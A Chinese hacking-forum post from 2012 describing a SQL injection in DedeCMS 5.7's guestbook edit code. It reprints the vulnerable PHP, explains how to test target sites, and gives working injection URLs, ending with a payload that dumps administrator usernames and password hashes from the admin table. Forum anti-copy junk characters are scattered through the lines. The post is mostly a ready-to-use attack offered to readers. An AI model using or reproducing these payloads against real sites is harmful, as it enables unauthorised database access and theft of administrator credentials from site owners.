找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4055|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
2 P6 G) u, ]/ M# E
$ b! Z+ c* a% l, ]7 _漏洞文件edit.inc.php具体代码:
1 |2 |& _& C  ~' e7 h9 ~; S. x3 k. U6 ?
< ?php  , O7 M3 H$ a! d( E2 l1 Y

' K: L; X0 S% kif(!defined('DEDEINC')) exit('Request Error!');  # M) u( U9 i/ ~5 F' u
6 D1 f8 O! X( c/ v- Y
   
* x* ^% _/ |+ D0 m$ S* u* N
3 z  X! w  \- U, Vif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  3 q5 z& |* n5 ]; k: y) z9 @2 s

0 r# ~+ L- h) Z% }else $GUEST_BOOK_POS = "guestbook.php";  / S2 k' Y0 F- ^) @

! U# o$ i2 f( Z   3 l/ K1 W3 R0 _/ n4 a7 r$ w

- B+ {* z& O4 c, k$ j# J  {$id = intval($id);  
5 p! u3 |- U" i/ b$ n6 J2 L+ i& n7 Z# F. L; `5 Q
if(empty($job)) $job='view';  & E) l) g" a' y3 F

& X6 ^5 w( c. R4 \   
+ n& t' m5 n) d- L' K4 x, f- W2 R. U! d, w. q
if($job=='del' && $g_isadmin)  
7 r, G' _! d) ]; d' o/ a/ g8 p; _' `% c  \
{  . m7 E: Y! V. v$ N8 v( i

" P9 y4 t* W( R8 v2 t% u$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  5 A5 X9 N" U1 w; u, V! Y

" @6 s. p# L7 F* j7 C3 h8 ]- U- CShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
8 P: W1 G* b  }5 f% x  w6 R- [+ ~# \
exit();  
" h1 x* s9 l( K/ N7 g& C- \
- D. z' L) B. k. g}  
8 T- ~0 R  N2 `' b7 M5 e) a6 V: I& ~# s; n" J: f
else if($job=='check' && $g_isadmin)  ! z& R% n1 t5 [
4 r5 V& Y' {- u
{  
* T0 P) w2 t' r! N! O7 n
: G$ d: }) h5 y% s" {& j$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
5 O* o$ s# ^0 I0 X2 U2 c; `) s+ Z. E8 O9 b
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
! w* `; V8 u, V! k5 X' Y7 ?) X
  c/ B. G; R# o: e+ Lexit();  
! w2 B+ }7 d4 ], {6 n7 f- E6 U8 @8 ~" n& _# W" |
}  2 k+ K8 A0 o4 P5 b7 L+ }3 k( V5 ^
8 R- N/ Y  i0 g8 `" `
else if($job=='editok')  $ O' m$ ]1 s7 i% n- J3 f

, I' ~$ {( M+ z8 K8 z3 F3 }& q{  
3 r# H& s4 W4 p" Y8 E/ M; e* C; w' Y' F, a4 O9 \/ v
$remsg = trim($remsg);  
/ ]1 D( w: \0 `3 P' ^( I
6 u5 f5 Q) l+ i+ n  b( tif($remsg!='')  
7 q% \! Y, Y+ N1 E0 Q" i' w% Y% f) R: Z5 H5 |8 H# b1 m9 T$ r
{  
9 Y6 U4 _) E2 A( j; F4 v# S( D
  x: M2 C% R' R5 G, Q. J//管理员回复不过滤HTML By:Errorera blog:errs.cc  
3 s6 Y& V  T2 D& {' l8 H+ ~& @8 z
+ \! E$ p: c" M7 E) a  ~1 p; w9 jif($g_isadmin)  
. Y6 d( v! C9 ^7 T( C
3 c3 k" c- v+ b! R1 E7 T{  # u: `) Y. o; k; N% j+ c. v7 l
9 }/ T' R) t! m) N+ G) C) G
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  * U+ ?9 R6 g2 [- P( r
: r" _) a5 s0 ~  q: W( j8 u1 J
//$remsg <br /><font color=red>管理员回复:</font> }  * N' n5 }+ g& }% M, i2 I/ g( S

8 B9 P8 D# a6 ~+ Ielse
- y' k9 C4 d$ o& x
5 P, q% A6 u" W: |; o+ ^/ _* i{  
* w/ j2 N# b/ ?$ g! I
- h  U) W* N! @& @8 l7 w$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
+ ]  Z6 x. \( }! n
6 q0 G- b, R/ ]& G' A$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
) a& H* i" \# Z) n) A2 P9 i8 H* a7 X* \  V# ^$ Z  ~
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
& K- b; y8 D1 g( H! T0 |) r. R; B4 E* |2 p4 o
$msg = $oldmsg.$remsg;  " I  l. ?1 N& Y6 V: @
4 K& C  t& [7 d- K( C
}  $ J+ G5 T, h# b1 M! c, x  n

5 }4 K" H  ]' C5 K; K0 {4 r}  # f9 O/ x+ ], ^) h# A

$ s2 f1 b8 K, P! I+ J* w! V//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  9 b# X" Y" ~* t

; f2 S9 u6 _5 ]3 Y9 w$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  , i9 _8 T* s) o" ]% e$ R0 b: }

2 h" S+ o$ K! S- B4 cShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  4 S2 W+ o4 W% _9 B' z

! r* r( C1 }, T5 s1 `: Gexit();  & M% }( f: @8 q. G6 Q% G, H1 i2 C

9 w: L9 x. y' s}  
) n* B' X& W! x4 h6 ^! V7 b% V* X& N; L+ h8 N
//home:www.errs.cc  
: C* V5 F! E: a9 U3 c# n8 s6 V5 O2 D
if($g_isadmin)  
# p5 c5 }; X: V; {! x9 w% X* {( o4 P/ X; O- O1 j4 [! c9 R
{  
$ C/ f9 n2 r. i- S9 d' [* A! D, N9 ?0 I9 z# @6 @7 w2 N
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
0 b% ^$ }3 v% [# f
+ [+ E4 A9 G  E% W* {. _! ~require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  + e+ S" A7 _% g1 x& i+ q

& U- R$ n) k. T( d3 B8 ]5 x}  
$ L# h2 w5 N0 X4 ^% B
; k; w& P1 W9 v9 T1 n) d% |8 Kelse
" F% x% v  e7 H% _+ F/ L- Z; }' O2 q0 F$ n
{  & t' p. G* u, j! U" U8 }5 N! i
' I/ e- D4 {. g
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  5 E3 g. `% m- P2 d$ S( e% B$ c# k
$ Z$ x1 \( ?6 Z0 w) [! h
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  5 g2 F2 z2 n$ j" F, q/ L; r

, y3 l7 M! ~7 ^} 漏洞成功需要条件:
( L2 b' ^( }+ i) q& |# C9 L1. php magic_quotes_gpc=off+ D( M4 |6 l) H* r& F. t2 g: P5 y
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
, b4 v) `& I* A6 V% P0 q: V( [" o/ h7 Q/ F4 y. D
怎么判断是否存在漏洞:
3 W& b8 }! n% ]9 u% M" {; @先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,! h* _# l( M7 G7 x; j& h2 P3 B' f
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
- u6 `$ w3 x8 e! N6 x访问:" |+ d9 |$ m* y
1 p4 ^# d1 |- u- j
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
8 K8 u" ^' E+ \7 ~6 w% I跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证. Q9 X$ y8 c$ U" q" a8 r
& {3 D: z1 n: T
. P! f" P, D: a( T
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off" l" @( l2 H! P; I
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。) ]! ^! l/ K- z1 h  L
那么再次访问
5 j/ B) {  g4 F3 _8 G: \$ h
  r% T- P! ?: J# m- z* jwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
' t; w$ h1 h6 i' {, W7 q8 Q0 r0 \# l  o1 Q: X6 x
大概利用就是这样,大家有兴趣的多研究下!!
( x! m  f1 i- ?* l( ]$ S9 H: r- u. Q$ g1 W1 {
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
4 }/ P* T: t! B. O6 Q9 D+ t( ?7 d0 E! o, h8 ^) x( `  C' ?5 \; E
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表